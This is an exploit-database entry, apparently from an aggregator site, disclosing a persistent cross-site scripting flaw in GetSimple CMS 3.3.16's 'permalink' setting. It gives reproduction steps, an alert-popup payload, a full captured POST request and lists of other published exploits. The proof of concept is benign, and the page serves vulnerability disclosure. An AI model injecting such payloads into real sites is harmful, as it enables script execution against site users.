Become a patron and gain access to the dashboard, Schedule scans, API and Search patron

Search for hundreds of thousands of exploits

"GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting (Authenticated)"

Author

Exploit author

"Roel van Beurden"

Platform

Exploit platform

php

Release date

Exploit published date

2020-10-01

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# Exploit Title: GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting (Authenticated)
# Google Dork: -
# Date: 2020-09-29
# Exploit Author: Roel van Beurden
# Vendor Homepage: http://get-simple.info
# Software Link: http://get-simple.info/download
# Version: 3.3.16
# Tested on: Linux Ubuntu 18.04
# CVE: N/A


1. Description:
----------------------
GetSimple CMS 3.3.16 allows in parameter 'permalink' on the Settings page persistent Cross Site Scripting which is executed when you create and open a new page.


3. Affected parameter:
----------------------
'permalink' on /admin/settings.php


3. Exploitation steps:
----------------------
1: Create a new page
2: Go to Settings on the right top of the page
3: Add XSS payload to "Custom Permalink Structure" text field
4: Save Settings
5: Go to the tab 'pages' to trigger the XSS alert popup


3: Example payload:
----------------------
"><img src=x onerror=alert('XSS')>


4: Burp Request:
----------------------
POST /GetSimpleCMS-3.3.16/admin/settings.php HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/GetSimpleCMS-3.3.16/admin/settings.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 349
Connection: close
Cookie: __atuvc=22%7C39; __atuvs=5f689d4d88949892015; GS_ADMIN_USERNAME=admin; d46405c5e4a3aa8c65850d4fa6ba75e926569261=1995ba85457ab3e86fa5e01f9ed5267cf9775880
Upgrade-Insecure-Requests: 1

nonce=c4577f17fac90ca1b8306ce48571c27a0a7923ec&sitename=GetSimple+Test+VM&siteurl=http%3A%2F%2F127.0.0.1%2FGetSimpleCMS-3.3.16%2F&prettyurls=1&permalink=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%27XSS%27%29%3E&user=admin&email=admin%40example.org&name=&timezone=&lang=en_US&show_htmleditor=1&sitepwd=&sitepwd_confirm=&submitted=Save+Settings


5: Exploitation demo:
----------------------
https://www.youtube.com/watch?v=8IMfD5KGt_U
Release Date Title Type Platform Author
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
Release Date Title Type Platform Author
2020-10-01 "WebsiteBaker 2.12.2 - 'display_name' SQL Injection (authenticated)" webapps php "Roel van Beurden"
2020-10-01 "GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting (Authenticated)" webapps php "Roel van Beurden"
2020-10-01 "CMS Made Simple 2.2.14 - Persistent Cross-Site Scripting (Authenticated)" webapps php "Roel van Beurden"
2020-08-12 "CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload" webapps php "Roel van Beurden"
2020-08-11 "Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)" webapps php "Roel van Beurden"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48850/?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.